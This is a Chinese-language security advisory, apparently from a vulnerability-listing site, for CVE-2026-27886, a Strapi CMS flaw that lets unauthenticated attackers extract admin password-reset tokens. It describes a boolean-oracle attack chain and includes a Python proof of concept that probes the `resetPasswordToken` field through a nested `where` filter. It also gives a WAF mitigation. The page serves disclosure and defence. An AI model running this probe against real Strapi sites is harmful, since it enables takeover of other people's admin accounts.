IPBUF安全漏洞报告
English
CVE-2026-27886 CVSS 7.5 高危

CVE-2026-27886 Strapi 管理员权限接管漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-27886
漏洞类型
权限绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Strapi

相关标签

权限绕过Strapi敏感信息泄露CVE-2026-27886

漏洞概述

Strapi是一款开源无头CMS。其在4.0.0至5.37.0之前的版本中存在严重安全漏洞。由于未充分过滤通过关系字段进行内容筛选时的查询参数,未经身份验证的攻击者可利用公开API端点的`where`参数,针对`admin_users`表执行布尔预言机攻击。这允许攻击者提取管理员重置令牌等敏感字段,从而在无需认证的情况下完全接管管理员账户,造成严重的安全风险。

技术细节

该漏洞源于Strapi在处理关系字段查询参数时的校验不足。当攻击者对公开的内容类型(如包含`updatedBy`字段的类型)发送包含嵌套过滤器的请求(例如`where[updatedBy][resetPasswordToken][$startsWith]=a`)时,系统会在生成SQL查询时对`admin_users`表执行`LEFT JOIN`,并在`WHERE`子句中引用连接的列。关键问题在于,查询参数清理层未能阻止遍历到调用者无读取权限的关系目标架构的操作符链。攻击者利用响应计数作为一位预言机,通过布尔盲注技术逐位推断`resetPasswordToken`的值。一旦获取到有效的重置令牌,攻击者即可构造请求重置管理员密码,从而绕过认证机制获得系统的完全控制权。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标Strapi实例,并寻找具有公开访问权限的内容类型,特别是那些包含关系字段(如updatedBy)的类型。
STEP 2
构造Payload
攻击者构造特殊的`where`查询参数,利用操作符链(如$startsWith)尝试访问`admin_users`表中的私有字段(如resetPasswordToken)。
STEP 3
布尔盲注
发送恶意请求并观察响应。通过分析返回结果的数量或差异,攻击者判断注入的条件是否为真,从而逐位推断出管理员的重置令牌。
STEP 4
权限接管
利用提取到的完整`resetPasswordToken`,攻击者直接调用密码重置接口修改管理员密码,从而获得系统的最高管理权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_reset_token_start(target_url, char): """ Check if the admin reset password token starts with a specific character. This exploits the boolean oracle behavior. """ # Payload targeting the relational field 'updatedBy' and the private 'resetPasswordToken' params = { "where[updatedBy][resetPasswordToken][$startsWith]": char } try: # Send request to a public content-type endpoint response = requests.get(target_url, params=params) if response.status_code == 200: data = response.json() # Logic to determine true/false based on response count or data presence # If results are returned, the condition is likely true return len(data.get('data', [])) > 0 except Exception as e: print(f"Request failed: {e}") return False # Example usage target = "http://vulnerable-strapi-instance/api/articles" if check_reset_token_start(target, "a"): print("Token starts with 'a'")

影响范围

Strapi 4.0.0 至 5.37.0 之前

防御指南

临时缓解措施
若无法立即升级,建议配置Web应用防火墙(WAF)规则,拦截包含嵌套关系查询(如`where[updatedBy][...]`)的恶意HTTP请求,或暂时禁用受影响内容类型的公开API访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表